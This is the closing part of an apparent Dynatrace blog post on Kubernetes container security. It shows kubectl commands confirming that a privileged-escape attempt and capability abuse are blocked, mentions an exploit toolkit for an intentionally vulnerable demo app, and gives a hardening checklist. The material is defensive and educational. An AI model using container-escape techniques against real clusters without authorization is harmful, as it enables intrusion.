✅ Resource limits enforced (CPU: 200m, Memory: 256Mi)
✅ Privilege escalation disabled (allowPrivilegeEscalation: false)
✅ Host isolation (hostPID: false, hostNetwork: false)

Verifying the remediation

We can easily verify that all exploits are now blocked.

# Try the privileged escape - FAILS 
kubectl exec -it deployment/unguard-payment-service -n unguard -- /bin/sh 
$ mount -t tmpfs tmpfs /tmp/test 
mount: permission denied (are you root?) 
 
# Try capability abuse - FAILS 
kubectl exec -it deployment/unguard-profile-service -n unguard -- /bin/sh 
$ cat /proc/1/status | grep ^Cap 
CapEff: 0000000000000000 
 
# Resource limits now enforced 
kubectl exec -it deployment/unguard-membership-service -n unguard -- /bin/sh 
$ cat /sys/fs/cgroup/memory/memory.limit_in_bytes 
268435456

Automating security testing

While manual testing is valuable for learning and trying things, it is essential to apply automation in production environments. To help you achieve this, we developed the Kubernetes exploit toolkit, which automates the steps introduced above.

This toolkit provides:

• Automated vulnerability injection, for demonstration purposes and remediation
• Comprehensive security assessments
• Demonstration of exploits without manual commands

For teams looking to gain a better understanding of Kubernetes container security posture, this toolkit offers a structured approach to identifying and analyzing misconfigurations on a realistic application.

Conclusion and key takeaways

We’ve demonstrated how easily container misconfigurations can be exploited and how to defend against them. These aren’t edge cases—they’re found in production clusters daily.

When responsible for Kubernetes environments, you should always have the following rules in mind:

• Default configurations are insecure. Always explicitly define security contexts
• Capabilities are powerful. Even one like SYS_ADMIN can compromise isolation completely
• Resource limits are security controls. They prevent DoS and protect cluster stability
• Automation is essential. Use tools to enforce and verify security consistently
• Continuous monitoring is critical. Misconfigurations can be introduced at any time

And don’t forget to regularly check that the following configurations are applied to your containers:

• Security Context
  • runAsNonRoot: true
  • runAsUser >= 1000
  • allowPrivilegeEscalation: false
  • readOnlyRootFilesystem: true (where possible)
• Capabilities
  • drop: [“ALL”]
  • Add only essential capabilities (e.g., NET_BIND_SERVICE)
• Resource Limits
  • CPU limits and requests defined
  • Memory limits and requests defined
• Isolation
  • No hostPID, hostNetwork, or hostIPC
  • No privileged: true
• Additional Controls
  • Pod Security Standards enforced
  • Network Policies implemented
  • Runtime security monitoring active

By implementing proper security controls and continuous monitoring of your environments, you can transform containers from attack vectors into robust security boundaries.

Next in the series: Network misconfigurations—how improper policies turn your cluster into an attacker’s playground.

Additional Resources

• NIST Container Security Guide
• CIS Kubernetes Benchmark
• Kubernetes Security Documentation
• Dynatrace KSPM Documentation

_____

The techniques demonstrated in this post are for educational purposes only. Always obtain proper authorization before testing security controls.

The post Kubernetes security essentials: Container misconfigurations – From theory to exploitation appeared first on Dynatrace news.